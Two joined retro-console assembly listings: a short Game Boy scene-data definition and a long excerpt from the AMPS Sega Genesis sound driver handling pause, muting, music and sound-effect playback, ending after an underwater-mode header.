;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _INITIALIZED ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- .area _DABS (ABS) ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- .area _HOME .area _GSINIT .area _GSFINAL .area _GSINIT ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- .area _HOME .area _HOME ;-------------------------------------------------------- ; code ;-------------------------------------------------------- .area _CODE_255 .area _CODE_255 ___bank_scene_3 = 0x00ff _scene_3: .db #0x14 ; 20 .db #0x12 ; 18 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .byte ___bank_spritesheet_0 .dw _spritesheet_0 .byte ___bank_background_3 .dw _background_3 .byte ___bank_scene_3_collisions .dw _scene_3_collisions .byte ___bank_palette_2 .dw _palette_2 .byte ___bank_palette_4 .dw _palette_4 .byte ___bank_script_s3_init .dw _script_s3_init .byte #0x00 .dw #0x0000 .byte #0x00 .dw #0x0000 .byte #0x00 .dw #0x0000 .byte #0x00 .dw #0x0000 .byte #0x00 .dw #0x0000 .byte #0x00 .dw #0x0000 .byte #0x00 .dw #0x0000 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x14 ; 20 .db #0x00 ; 0 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .db 0x00 .area _INITIALIZER .area _CABS (ABS)
; =========================================================================== ; --------------------------------------------------------------------------- ; Routine for pausing the sound driver ; ; thrash: ; d4 - Various values ; d5 - YM command values ; d6 - dbf counters and key off channel ; a4 - Used by other routines ; a5 - Used by other routines ; --------------------------------------------------------------------------- dPlaySnd_Pause: bset #mfbPaused,mFlags.w ; pause music bne.w locret_MuteDAC ; if was already paused, skip ; --------------------------------------------------------------------------- ; The following code will set channel panning to none for all FM channels. ; This will ensure they are muted while we are pausing ; --------------------------------------------------------------------------- moveq #3-1,d6 ; 3 channels per YM2616 "part" moveq #$FFFFFFB4,d5 ; YM address: Panning and LFO moveq #2,d4 ; prepare part 2 value CheckCue ; check that cue is correct stopZ80 .muteFM clr.b (a0)+ ; write to part 1 clr.b (a0)+ ; pan to neither speaker and remove LFO move.b d5,(a0)+ ; YM address: Panning and LFO move.b d4,(a0)+ ; write to part 2 clr.b (a0)+ ; pan to neither speaker and remove LFO move.b d5,(a0)+ ; YM address: Panning and LFO addq.b #1,d5 ; go to next FM channel dbf d6,.muteFM ; write each 3 channels per part ; --------------------------------------------------------------------------- ; The following code will key off all FM channels. There is a special ; behavior in that, we must write all channels into part 1, and we ; control the channel we are writing in the data portion. ; 4 bits are reserved for which operators are active (in this case, ; none), and 3 bits are reserved for the channel we want to affect ; --------------------------------------------------------------------------- moveq #$28,d5 ; YM address: Key on/off moveq #%00000010,d6 ; turn keys off, and start from YM channel 3 .note move.b d6,d4 ; copy value into d4 WriteYM1 d5, d4 ; write part 1 to YM addq.b #4,d4 ; set this to part 2 channel WriteYM1 d5, d4 ; write part 2 to YM dbf d6,.note ; loop for all 3 channel groups ; st (a0) ; write end marker startZ80 jsr dMutePSG(pc) ; mute all PSG channels ; continue to mute all DAC channels ; =========================================================================== ; --------------------------------------------------------------------------- ; Routine for muting all DAC channels ; ; thrash: ; a4 - Destination Z80 address ; a5 - Source data address ; --------------------------------------------------------------------------- dMuteDAC: stopZ80 ; wait for Z80 to stop lea SampleList(pc),a5 ; load address for the stop sample data into a5 lea dZ80+PCM1_Sample,a4 ; load addresses for PCM 1 sample to a4 rept 12 move.b (a5)+,(a4)+ ; send sample data to Dual PCM endr lea SampleList(pc),a5 ; load address for the stop sample data into a5 lea dZ80+PCM2_Sample,a4 ; load addresses for PCM 2 sample to a4 rept 12 move.b (a5)+,(a4)+ ; send sample data to Dual PCM endr move.b #$CA,dZ80+PCM1_NewRET ; activate sample switch (change instruction) move.b #$CA,dZ80+PCM2_NewRET ; activate sample switch (change instruction) startZ80 ; enable Z80 execution locret_MuteDAC: rts ; =========================================================================== ; --------------------------------------------------------------------------- ; Routine for unpausing the sound driver ; ; thrash: ; d0 - channel count ; d3 - channel size ; d4 - YM register calculation ; d5 - channel type ; d6 - channel part ; a1 - channel used for operations ; --------------------------------------------------------------------------- dPlaySnd_Unpause: bclr #mfbPaused,mFlags.w ; unpause music beq.s locret_MuteDAC ; if was already unpaused, skip ; --------------------------------------------------------------------------- ; The following code will reset the panning values for each running ; channel. It also makes sure that the channel is not interrupted ; by sound effects, and that each running sound effect channel gets ; updated. We do not handle key on's, since that could potentially ; cause issues if notes are half-done. The next time tracker plays ; notes, they start being audible again ; --------------------------------------------------------------------------- lea mFM1.w,a1 ; start from FM1 channel moveq #Mus_FM-1,d0 ; load the number of music FM channels to d0 moveq #cSize,d3 ; get the size of each music channel to d3 CheckCue ; check that we have a valid YM cue stopZ80 .musloop tst.b (a1) ; check if the channel is running a tracker bpl.s .skipmus ; if not, skip updating btst #cfbInt,(a1) ; is the channel interrupted by SFX? bne.s .skipmus ; if is, skip updating InitChYM ; prepare to write to YM WriteChYM #$B4, cPanning(a1) ; Panning and LFO: read from channel .skipmus adda.w d3,a1 ; go to next channel dbf d0,.musloop ; repeat for all music FM channels ; --------------------------------------------------------------------------- lea mSFXFM3.w,a1 ; start from SFX FM1 channel moveq #SFX_FM-1,d0 ; load the number of SFX FM channels to d0 moveq #cSizeSFX,d3 ; get the size of each SFX channel to d3 .sfxloop tst.b (a1) ; check if the channel is running a tracker bpl.s .skipsfx ; if not, skip updating InitChYM ; prepare to write to YM WriteChYM #$B4, cPanning(a1) ; Panning and LFO: read from channel .skipsfx adda.w d3,a1 ; go to next channel dbf d0,.sfxloop ; repeat for all SFX FM channels ; --------------------------------------------------------------------------- ; Since the DAC channels have OR based panning behavior, we need this ; piece of code to update its panning correctly ; --------------------------------------------------------------------------- move.b mDAC1+cPanning.w,d4 ; read panning value from music DAC1 btst #cfbInt,mDAC1+cFlags.w ; check if music DAC1 is interrupted by SFX beq.s .nodacsfx ; if not, use music DAC1 panning move.b mSFXDAC1+cPanning.w,d4 ; read panning value from SFX DAC1 .nodacsfx or.b mDAC2+cPanning.w,d4 ; OR the panning value from music DAC2 WriteYM2 #$B6, d4 ; Panning & LFO ; st (a0) ; write end marker startZ80 locret_Unpause: rts ; =========================================================================== ; --------------------------------------------------------------------------- ; Subroutine to play any queued music tracks, sound effects or commands ; ; thrash: ; d1 - sound ID ; a4 - queue address ; all - other routines thrash pretty much every register except a0 ; --------------------------------------------------------------------------- dPlaySnd: lea mQueue.w,a4 ; get address to the sound queue moveq #0,d1 move.b (a4)+,d1 ; get sound ID for this slot bne.s .found ; if nonzero, a sound is queued move.b (a4)+,d1 ; get sound ID for this slot bne.s .found ; if nonzero, a sound is queued move.b (a4)+,d1 ; get sound ID for this slot beq.s locret_Unpause ; if 0, no sounds were queued, return .found if safe=1 AMPS_Debug_SoundID ; check if the sound ID is valid endif clr.b -1(a4) ; clear the slot we are processing cmpi.b #SFXoff,d1 ; check if this sound was a sound effect bhs.w dPlaySnd_SFX ; if so, handle it cmpi.b #MusOff,d1 ; check if this sound was a command blo.w dPlaySnd_Comm ; if so, handle it ; it was a music, handle it below ; =========================================================================== ; --------------------------------------------------------------------------- ; Subroutine to play a queued music track ; ; thrash: ; d0 - Loop counter for each channel ; d6 - Size of each channel ; a1 - Current sound channel address that is being processed ; a2 - Current address into the tracker data ; a3 - Used for channel address calculation ; a4 - Type values arrays ; d6 - Temporarily used to hold the speed shoes tempo ; all - other dregisters are gonna be used too ; --------------------------------------------------------------------------- dPlaySnd_Music: ; --------------------------------------------------------------------------- ; To save few cycles, we don't directly substract the music offset from ; the ID, and instead offset the table position. In practice this will ; have the same effect, but saves us 8 cycles overall ; --------------------------------------------------------------------------- lea MusicIndex-(MusOff*4)(pc),a2; get music pointer table with an offset add.w d1,d1 ; quadruple music ID add.w d1,d1 ; since each entry is 4 bytes in size move.b (a2,d1.w),d6 ; load speed shoes tempo from the unused 8 bits into d6 move.l (a2,d1.w),a2 ; get music header pointer from the table if safe=1 move.l a2,d2 ; copy pointer to d2 and.l #$FFFFFF,d2 ; clearing the upper 8 bits allows the debugger move.l d2,a2 ; to show the address correctly. Move ptr back to a2 AMPS_Debug_PlayTrackMus ; check if this was valid music endif ; --------------------------------------------------------------------------- ; The following code will 'back up' every song by copying its data to ; another memory location. There is another piece of code that will copy ; it back once the song ends. This will do proper restoration of the ; channels into hardware! The 6th bit of tick multiplier is used to ; determine whether to back up or not ; --------------------------------------------------------------------------- if FEATURE_BACKUP btst #6,1(a2) ; check if this song should cause the last one to be backed up beq.s .clrback ; if not, skip bset #mfbBacked,mFlags.w ; check if song was backed up (and if not, set the bit) bne.s .noback ; if yes, preserved the backed up song move.l mSpeed.w,mBackSpeed.w ; backup tempo settings move.l mVctMus.w,mBackVctMus.w ; backup voice table address lea mBackUpArea.w,a4 ; load source address to a4 lea mBackUpLoc.w,a3 ; load destination address to a3 move.w #(mSFXDAC1-mBackUpArea)/4-1,d3; load backup size to d3 .backup move.l (a4)+,(a3)+ ; back up data for every channel dbf d3,.backup ; loop for each longword if (mSFXDAC1-mBackUpArea)&2 move.w (a4)+,(a3)+ ; back up data for every channel endif moveq #$FFFFFFFF-(1<<cfbInt)|(1<<cfbVol),d3; each other bit except interrupted and volume update bits .ch = mBackDAC1 ; start at backup DAC1 rept Mus_Ch ; do for all music channels and.b d3,.ch.w ; remove the interrupted by sfx bit .ch = .ch+cSize ; go to next channel endr bra.s .noback .clrback bclr #mfbBacked,mFlags.w ; set as no song backed up .noback endif ; --------------------------------------------------------------------------- move.b d6,mSpeed.w ; save loaded value into tempo speed setting move.b d6,mSpeedAcc.w ; save loaded value as tempo speed accumulator jsr dStopMusic(pc) ; mute hardware and reset all driver memory jsr dResetVolume(pc) ; reset volumes and end any fades move.b (a2)+,d3 ; load song tempo to d3 move.b d3,mTempo.w ; save as the tempo accumulator move.b d3,mTempoAcc.w ; copy into the accumulator/counter and.b #$FF-(1<<mfbNoPAL),mFlags.w; enable PAL fix ; --------------------------------------------------------------------------- ; If the 7th bit (msb) of tick multiplier is set, PAL fix gets disabled. ; I know, very weird place to put it, but we dont have much free room ; in the song header ; --------------------------------------------------------------------------- move.b (a2)+,d4 ; load the tick multiplier to d4 bmi.s .yesPAL ; branch if the loaded value was negative btst #6,ConsoleRegion.w ; is this PAL system? bne.s .noPAL ; if yes, branch .yesPAL or.b #1<<mfbNoPAL,mFlags.w ; disable PAL fix .noPAL move.b (a2),d0 ; load the PSG channel count to d0 ext.w d0 ; extend to word (later, its read from stack) move.w d0,-(sp) ; store in stack addq.w #2,a2 ; go to DAC1 data section and.w #$3F,d4 ; keep tick multiplier value in range moveq #cSize,d6 ; prepare channel size to d6 moveq #1,d5 ; prepare duration of 0 frames to d5 moveq #$FFFFFF00|(1<<cfbRun)|(1<<cfbVol),d2; prepare running tracker and volume flags into d2 moveq #$FFFFFFC0,d1 ; prepare panning value of centre to d1 move.w #$100,d3 ; prepare default DAC frequency to d3 ; --------------------------------------------------------------------------- lea mDAC1.w,a1 ; start from DAC1 channel lea dDACtypeVals(pc),a4 ; prepare DAC (and FM) type value list into a4 moveq #2-1,d0 ; always run for 2 DAC channels .loopDAC move.b d2,(a1) ; save channel flags move.b (a4)+,cType(a1) ; load channel type from list move.b d4,cTick(a1) ; set channel tick multiplier move.b d6,cStack(a1) ; reset channel stack pointer move.b d1,cPanning(a1) ; reset panning to centre move.b d5,cDuration(a1) ; reset channel duration move.w d3,cFreq(a1) ; reset channel base frequency move.l a2,a3 ; load music header position to a3 add.w (a2)+,a3 ; add tracker offset to a3 move.l a3,cData(a1) ; save as the tracker address of the channel if safe=1 AMPS_Debug_PlayTrackMus2 DAC ; make sure the tracker address is valid endif move.b (a2)+,cVolume(a1) ; load channel volume move.b (a2)+,cSample(a1) ; load channel sample ID beq.s .sampmode ; if 0, we are in sample mode bset #cfbMode,(a1) ; if not, enable pitch mode .sampmode add.w d6,a1 ; go to the next channel dbf d0,.loopDAC ; repeat for all DAC channels ; --------------------------------------------------------------------------- move.b -9(a2),d0 ; load the FM channel count to d0 if safe=1 bmi.w .doPSG ; if no FM channels are loaded, branch else bmi.s .doPSG ; if no FM channels are loaded, branch endif ext.w d0 ; convert byte to word (because of dbf) moveq #$FFFFFF00|(1<<cfbRun)|(1<<cfbRest),d2; prepare running tracker and channel rest flags to d2 .loopFM move.b d2,(a1) ; save channel flags move.b (a4)+,cType(a1) ; load channel type from list move.b d4,cTick(a1) ; set channel tick multiplier move.b d6,cStack(a1) ; reset channel stack pointer move.b d1,cPanning(a1) ; reset panning to centre move.b d5,cDuration(a1) ; reset channel duration move.l a2,a3 ; load music header position to a3 add.w (a2)+,a3 ; add tracker offset to a3 move.l a3,cData(a1) ; save as the tracker address of the channel if safe=1 AMPS_Debug_PlayTrackMus2 FM ; make sure the tracker address is valid endif move.w (a2)+,cPitch(a1) ; load pitch offset and channel volume adda.w d6,a1 ; go to the next channel dbf d0,.loopFM ; repeat for all FM channels ; --------------------------------------------------------------------------- ; The reason why we delay PSG by 1 extra frame, is because of Dual PCM. ; It adds a delay of 1 frame to DAC and FM due to the YMCue, and PCM ; buffering to avoid quality loss from DMA's. This means that, since PSG ; is controlled by the 68000, we would be off by a single frame without ; this fix. ; --------------------------------------------------------------------------- .doPSG move.w (sp)+,d0 ; load the PSG channel count from stack if safe=1 bmi.w .finish ; if no PSG channels are loaded, branch else bmi.s .finish ; if no PSG channels are loaded, branch endif moveq #$FFFFFF00|(1<<cfbRun)|(1<<cfbVol)|(1<<cfbRest),d2; prepare running tracker, resting and volume flags into d2 moveq #2,d5 ; prepare duration of 1 frames to d5 lea dPSGtypeVals(pc),a4 ; prepare PSG type value list into a4 lea mPSG1.w,a1 ; start from PSG1 channel .loopPSG move.b d2,(a1) ; save channel flags move.b (a4)+,cType(a1) ; load channel type from list move.b d4,cTick(a1) ; set channel tick multiplier move.b d6,cStack(a1) ; reset channel stack pointer move.b d5,cDuration(a1) ; reset channel duration move.l a2,a3 ; load music header position to a3 add.w (a2)+,a3 ; add tracker offset to a3 move.l a3,cData(a1) ; save as the tracker address of the channel if safe=1 AMPS_Debug_PlayTrackMus2 PSG ; make sure the tracker address is valid endif move.w (a2)+,cPitch(a1) ; load pitch offset and channel volume move.b (a2)+,cDetune(a1) ; load detune offset move.b (a2)+,cVolEnv(a1) ; load volume envelope ID adda.w d6,a1 ; go to the next channel dbf d0,.loopPSG ; repeat for all FM channels ; --------------------------------------------------------------------------- ; Unlike SMPS, AMPS does not have pointer to the voice table of ; a song. This may be limiting for some songs, but this allows AMPS ; to save 2 bytes for each music and sound effect file. This line ; of code sets the music voice table address at the end of the header ; --------------------------------------------------------------------------- .finish move.l a2,mVctMus.w ; set voice table address to a2 ; --------------------------------------------------------------------------- ; Now follows initializing FM6 to be ready for PCM streaming, ; and resetting the PCM filter for Dual PCM. Simply, this just ; clears some YM registers ; --------------------------------------------------------------------------- if FEATURE_FM6 tst.b mFM6.w ; check if FM6 is used by music bmi.s .yesFM6 ; if so, do NOT initialize FM6 to mute endif moveq #$7F, d3 ; set total level to $7F (silent) CheckCue ; check that cue is valid stopZ80 WriteYM1 #$28, #6 ; Key on/off: FM6, all operators off WriteYM2 #$42, d3 ; Total Level Operator 1 (FM3/6) WriteYM2 #$4A, d3 ; Total Level Operator 3 (FM3/6) WriteYM2 #$46, d3 ; Total Level Operator 2 (FM3/6) WriteYM2 #$4E, d3 ; Total Level Operator 4 (FM3/6) WriteYM2 #$B6, #$C0 ; Panning and LFO (FM3/6): centre ; st (a0) ; write end marker startZ80 .yesFM6 moveq #(fLog>>$0F)&$FF,d4 ; use logarithmic filter jmp dSetFilter(pc) ; set filter ; =========================================================================== ; --------------------------------------------------------------------------- ; Type values for different channels. Used for playing music ; --------------------------------------------------------------------------- dDACtypeVals: dc.b ctDAC1, ctDAC2 dFMtypeVals: dc.b ctFM1, ctFM2, ctFM3, ctFM4, ctFM5 if FEATURE_FM6 dc.b ctFM6 endif dPSGtypeVals: dc.b ctPSG1, ctPSG2, ctPSG3 even ; =========================================================================== ; --------------------------------------------------------------------------- ; Subroutine to play a queued sound effect ; ; thrash: ; d0 - Loop counter for each channel ; d6 - Size of each channel ; a1 - Current sound channel address that is being processed ; a2 - Current address into the tracker data ; a3 - Used for channel address calculation ; a4 - Type values arrays ; d6 - Temporarily used to hold the speed shoes tempo ; all - other dregisters are gonna be used too ; --------------------------------------------------------------------------- locret_PlaySnd: rts dPlaySnd_SFX: if FEATURE_BACKUP&FEATURE_BACKUPNOSFX btst #mfbBacked,mFlags.w ; check if a song has been queued bne.s locret_PlaySnd ; branch if so endif ; --------------------------------------------------------------------------- ; To save few cycles, we don't directly substract the SFX offset from ; the ID, and instead offset the table position. In practice this will ; have the same effect, but saves us 8 cycles overall ; --------------------------------------------------------------------------- lea SoundIndex-(SFXoff*4)(pc),a1; get sfx pointer table with an offset to a1 add.w d1,d1 ; quadruple sfx ID add.w d1,d1 ; since each entry is 4 bytes in size move.l (a1,d1.w),a2 ; get SFX header pointer from the table ; --------------------------------------------------------------------------- ; This implements a system where the sound effect swaps every time its ; played. This in particular needed with Sonic 1 to 3K, where the ring SFX ; would every time change the panning by playing a different SFX ID. AMPS ; extends this system to support any number of SFX following this same system ; --------------------------------------------------------------------------- btst #0,(a1,d1.w) ; check if sound effect has swapping behaviour beq.s .noswap ; if not, skip bchg #mfbSwap,mFlags.w ; swap the flag and check if it was set beq.s .noswap ; if was not, do not swap sound effect addq.w #4,d1 ; go to next SFX move.l (a1,d1.w),a2 ; get the next SFX pointer from the table .noswap if safe=1 move.l a2,d2 ; copy pointer to d2 and.l #$FFFFFF,d2 ; clearing the upper 8 bits allows the debugger move.l d2,a2 ; to show the address correctly. Move ptr back to a2 AMPS_Debug_PlayTrackSFX ; check if this was valid sound effect endif ; --------------------------------------------------------------------------- ; Continous SFX is a very special type of sound effect. Unlike other ; sound effects, when a continous SFX is played, it will run a loop ; again, until it is no longer queued. This is very useful for sound ; effects that need to be queued very often, but that really do not ; sound good when restarted (plus, it requires more CPU time, anyway). ; Even the Marble Zone block pushing sound effect had similar behavior, ; but the code was not quite as matured as this here. Only one continous ; SFX may be running at once, however, there is no code to enforce this. ; It may lead to problems where incorrect channels are kept running. ; Please be careful with this! ; ; Note: Playing any other SFX will prevent continous sfx from continuing ; (until played again). This was made because if you had a continous sfx ; stop due to another SFX, it would actually break all continous sfx with ; the same ID. Since there is no way to show any sfx is continous when ; its running, there is no way to fix this without doing it this way. If ; this breaks anything significant, let me know and I'll tackle this ; problem once again ; --------------------------------------------------------------------------- tst.b (a1,d1.w) ; check if this sound effect is continously looping bpl.s .nocont ; if not, skip clr.b mContCtr.w ; reset continous sfx counter lsr.w #2,d1 ; get actual SFX ID cmp.b mContLast.w,d1 ; check if the last continous SFX had the same ID bne.s .setcont ; if not, play as a new sound effect anyway move.b 1(a2),mContCtr.w ; copy the number of channels as the new continous loop counter addq.b #1,mContCtr.w ; increment by 1, since num of channels is -1 the actual channel count rts ; --------------------------------------------------------------------------- .nocont moveq #0,d1 ; clear last continous sfx .setcont move.b d1,mContLast.w ; save new continous SFX ID moveq #0,d1 ; reset channel count lea dSFXoverList(pc),a5 ; load quick reference to the SFX override list to a5 lea dSFXoffList(pc),a4 ; load quick reference to the SFX channel list to a4 ; --------------------------------------------------------------------------- ; The reason why we delay PSG by 1 extra frame, is because of Dual PCM. ; It adds a delay of 1 frame to DAC and FM due to the YMCue, and PCM ; buffering to avoid quality loss from DMA's. This means that, since PSG ; is controlled by the 68000, we would be off by a single frame without ; this fix ; --------------------------------------------------------------------------- moveq #0,d0 move.b (a2)+,d2 ; load sound effect priority to d2 move.b (a2)+,d0 ; load number of SFX channels to d0 moveq #cSizeSFX,d6 ; prepare SFX channel size to d6 .loopSFX moveq #0,d3 move.b 1(a2),d3 ; load sound effect channel type to d3 move.b d3,d5 ; copy type to d5 bmi.s .chPSG ; if channel is a PSG channel, branch and.w #$07,d3 ; get only the necessary bits to d3 add.w d3,d3 ; double offset (each entry is 1 word in size) move.w -4(a4,d3.w),a1 ; get the SFX channel we are trying to load to cmp.b cPrio(a1),d2 ; check if this sound effect has higher priority blo.s .skip ; if not, we can not override it move.w -4(a5,d3.w),a3 ; get the music channel we should override bset #cfbInt,(a3) ; override music channel with sound effect moveq #1,d4 ; prepare duration of 0 frames to d4 bra.s .clearCh ; --------------------------------------------------------------------------- .skip addq.l #6,a2 ; skip this sound effect channel dbf d0,.loopSFX ; repeat for each requested channel tst.w d1 ; check if any channel was loaded bne.s .rts ; if was, branch clr.b mContLast.w ; reset continous sfx counter (prevent ghost-loading) .rts rts ; --------------------------------------------------------------------------- .chPSG lsr.w #4,d3 ; make it easier to reference the right offset in the table move.w (a4,d3.w),a1 ; get the SFX channel we are trying to load to cmp.b cPrio(a1),d2 ; check if this sound effect has higher priority blo.s .skip ; if not, we can not override it move.w (a5,d3.w),a3 ; get the music channel we should override bset #cfbInt,(a3) ; override music channel with sound effect moveq #2,d4 ; prepare duration of 1 frames to d4 ori.b #$1F,d5 ; add volume update and max volume to channel type move.b d5,dPSG ; send volume mute command to PSG cmpi.b #ctPSG3|$1F,d5 ; check if we sent command about PSG3 bne.s .clearCh ; if not, skip move.b #ctPSG4|$1F,dPSG ; send volume mute command for PSG4 to PSG ; --------------------------------------------------------------------------- .clearCh move.w a1,a3 ; copy sound effect channel RAM pointer to a3 rept cSizeSFX/4 ; repeat by the number of long words for channel data clr.l (a3)+ ; clear 4 bytes of channel data endr if cSizeSFX&2 clr.w (a3)+ ; if channel size can not be divided by 4, clear extra word endif ; --------------------------------------------------------------------------- move.w (a2)+,(a1) ; load channel flags and type move.b d2,cPrio(a1) ; set channel priority move.b d4,cDuration(a1) ; reset channel duration move.l a2,a3 ; load music header position to a3 add.w (a2)+,a3 ; add tracker offset to a3 move.l a3,cData(a1) ; save as the tracker address of the channel if safe=1 AMPS_Debug_PlayTrackSFX2 ; make sure the tracker address is valid endif move.w (a2)+,cPitch(a1) ; load pitch offset and channel volume tst.b d5 ; check if this channel is a PSG channel bmi.s .loop ; if is, skip over this moveq #$FFFFFFC0,d3 ; set panning to centre move.b d3,cPanning(a1) ; save to channel memory too CheckCue ; check that YM cue is valid InitChYM ; prepare to write to channel stopZ80 WriteChYM #$B4, d3 ; Panning and LFO: centre ; st (a0) ; write end marker startZ80 cmp.w #mSFXDAC1,a1 ; check if this channel is a DAC channel bne.s .fm ; if not, branch move.w #$100,cFreq(a1) ; DAC default frequency is $100, NOT $000 .loop addq.w #1,d1 ; set channel as loaded dbf d0,.loopSFX ; repeat for each requested channel rts ; --------------------------------------------------------------------------- ; The instant release for FM channels behavior was not in the Sonic 1 ; SMPS driver by default, but it has been added since it fixes an ; issue with YM2612, where sometimes subsequent sound effect activations ; would sound different over time. This fix will help to mitigate that ; --------------------------------------------------------------------------- .fm moveq #$F,d3 ; set to release note instantly CheckCue ; check that YM cue is valid InitChYM ; prepare to write to channel stopZ80 WriteYM1 #$28, cType(a1) ; Key on/off: all operators off WriteChYM #$80, d3 ; Release Rate Operator 1 WriteChYM #$88, d3 ; Release Rate Operator 3 WriteChYM #$84, d3 ; Release Rate Operator 2 WriteChYM #$8C, d3 ; Release Rate Operator 4 ; st (a0) ; write end marker startZ80 dbf d0,.loopSFX ; repeat for each requested channel rts ; =========================================================================== ; --------------------------------------------------------------------------- ; Pointers for music channels SFX can override and addresses of SFX channels ; --------------------------------------------------------------------------- dSFXoffList: dc.w mSFXFM3 ; FM3 dc.w mSFXDAC1 ; DAC1 dc.w mSFXFM4 ; FM4 dc.w mSFXFM5 ; FM5 dc.w mSFXPSG1 ; PSG1 dc.w mSFXPSG2 ; PSG2 dc.w mSFXPSG3 ; PSG3 dc.w mSFXPSG3 ; PSG4 dSFXoverList: dc.w mFM3 ; SFX FM3 dc.w mDAC1 ; SFX DAC1 dc.w mFM4 ; SFX FM4 dc.w mFM5 ; SFX FM5 dc.w mPSG1 ; SFX PSG1 dc.w mPSG2 ; SFX PSG2 dc.w mPSG3 ; SFX PSG3 dc.w mPSG3 ; SFX PSG4 ; =========================================================================== ; --------------------------------------------------------------------------- ; Play queued command ; ; input: ; d1 - Sound ID ; --------------------------------------------------------------------------- dPlaySnd_Comm: if safe=1 AMPS_Debug_PlayCmd ; check if the command is valid endif add.w d1,d1 ; quadruple ID add.w d1,d1 ; because each entry is 1 long word jmp dSoundCommands-4(pc,d1.w); jump to appropriate command handler ; --------------------------------------------------------------------------- dSoundCommands: bra.w dPlaySnd_Reset ; 01 - Reset underwater and speed shoes flags, update volume bra.w dPlaySnd_FadeOut ; 02 - Initialize a music fade out bra.w dPlaySnd_Stop ; 03 - Stop all music bra.w dPlaySnd_ShoesOn ; 04 - Enable speed shoes mode bra.w dPlaySnd_ShoesOff ; 05 - Disable speed shoes mode bra.w dPlaySnd_ToWater ; 06 - Enable underwater mode bra.w dPlaySnd_OutWater ; 07 - Disable underwater mode bra.w dPlaySnd_Pause ; 08 - Pause the sound driver bra.w dPlaySnd_Unpause ; 09 - Unpause the sound driver bra.w dPlaySnd_StopSFX ; 0A - Stop all sfx dSoundCommands_End: ; =========================================================================== ; --------------------------------------------------------------------------- ; Commands for what to do after a volume fade ; --------------------------------------------------------------------------- dFadeCommands: rts ; 80 - Do nothing rts .stop bra.s dPlaySnd_Stop ; 84 - Stop all music rts .resv bra.w dResetVolume ; 88 - Reset volume and update bsr.s .resv ; 8C - Stop music playing and reset volume bra.s .stop ; =========================================================================== ; --------------------------------------------------------------------------- ; Stop SFX from playing and restore interrupted channels correctly ; --------------------------------------------------------------------------- dPlaySnd_StopSFX: moveq #SFX_Ch,d0 ; load num of SFX channels to d0 lea mSFXDAC1.w,a1 ; start from SFX DAC 1 .loop tst.b (a1) ; check if this channel is running a tracker bpl.s .notrack ; if not, skip jsr dcStop(pc) ; run the tracker stop command nop ; required because the address may be modified by dcStop .notrack add.w #cSizeSFX,a1 ; go to next channel dbf d0,.loop ; repeat for each channel rts ; =========================================================================== ; --------------------------------------------------------------------------- ; Stop music and SFX from playing (This code clears SFX RAM also) ; --------------------------------------------------------------------------- dPlaySnd_Stop: if FEATURE_BACKUP bclr #mfbBacked,mFlags.w ; reset backed up song bit endif ; lea mSFXDAC1.w,a4 ; prepare SFX DAC 1 to start clearing from ; dCLEAR_MEM mChannelEnd-mSFXDAC1, 16; clear this block of memory with 16 byts per loop ; continue straight to stopping music ; =========================================================================== ; --------------------------------------------------------------------------- ; Stop music and SFX from playing (This code clears SFX RAM also) ; ; thrash: ; all - Basically all registers ; --------------------------------------------------------------------------- dStopMusic: lea mVctMus.w,a4 ; load driver RAM start to a4 move.b mMasterVolDAC.w,d5 ; load DAC master volume to d5 dCLEAR_MEM mChannelEnd-mVctMus, 32 ; clear this block of memory with 32 bytes per loop if safe=1 clr.b msChktracker.w ; if in safe mode, also clear the check tracker variable! endif move.b d5,mMasterVolDAC.w ; save DAC master volume jsr dMuteFM(pc) ; hardware mute FM jsr dMuteDAC(pc) ; hardware mute DAC ; continue straight to hardware muting PSG ; =========================================================================== ; --------------------------------------------------------------------------- ; Routine for muting all PSG channels ; ; thrash: ; a4 - PSG address ; --------------------------------------------------------------------------- dMutePSG: lea dPSG,a4 ; load PSG data port address to a4 move.b #ctPSG1|$1F,(a4) ; send volume mute command for PSG1 move.b #ctPSG2|$1F,(a4) ; send volume mute command for PSG2 move.b #ctPSG3|$1F,(a4) ; send volume mute command for PSG3 move.b #ctPSG4|$1F,(a4) ; send volume mute command for PSG4 rts ; =========================================================================== ; --------------------------------------------------------------------------- ; Routine for resetting master volumes, filters and disabling fading ; ; thrash: ; a4 - Used by other function ; d4 - Lowest byte gets cleared. ; d5 - Used by other function ; d6 - Used for OR-ing volume ; --------------------------------------------------------------------------- dResetVolume: clr.l mFadeAddr.w ; stop fading program and reset FM master volume clr.b mMasterVolPSG.w ; reset PSG master volume clr.b mMasterVolDAC.w ; reset DAC master volume moveq #(fLog>>$0F)&$FF,d4 ; use logarithmic filter jsr dSetFilter(pc) ; load filter instructions ; --------------------------------------------------------------------------- dUpdateVolumeAll: bsr.s dReqVolUpFM ; request FM volume update or.b d6,mSFXDAC1.w ; request update for SFX DAC1 channel .ch = mDAC1 ; start at DAC1 rept Mus_DAC ; loop through all music DAC channels or.b d6,.ch.w ; request channel volume update .ch = .ch+cSize ; go to next channel endr .ch = mPSG1 ; start at PSG1 rept Mus_PSG ; loop through all music PSG channels or.b d6,.ch.w ; request channel volume update .ch = .ch+cSize ; go to next channel endr .ch = mSFXPSG1 ; start at SFX PSG1 rept SFX_PSG ; loop through all SFX PSG channels or.b d6,.ch.w ; request channel volume update .ch = .ch+cSizeSFX ; go to next channel endr rts ; =========================================================================== ; --------------------------------------------------------------------------- ; Enable speed shoes mode ; --------------------------------------------------------------------------- dPlaySnd_ShoesOn: bset #mfbSpeed,mFlags.w ; enable speed shoes flag rts ; =========================================================================== ; --------------------------------------------------------------------------- ; Reset music flags (underwater mode and tempo mode) ; --------------------------------------------------------------------------- dPlaySnd_Reset: if FEATURE_BACKUP bclr #mfbBacked,mFlags.w ; reset backed up song bit endif if FEATURE_UNDERWATER bsr.s dPlaySnd_OutWater ; reset underwater flag and request volume update endif ; =========================================================================== ; --------------------------------------------------------------------------- ; Disable speed shoes mode ; --------------------------------------------------------------------------- dPlaySnd_ShoesOff: bclr #mfbSpeed,mFlags.w ; disable speed shoes flag rts ; =========================================================================== ; --------------------------------------------------------------------------- ; Enable Underwater mode ; --------------------------------------------------------------------------- 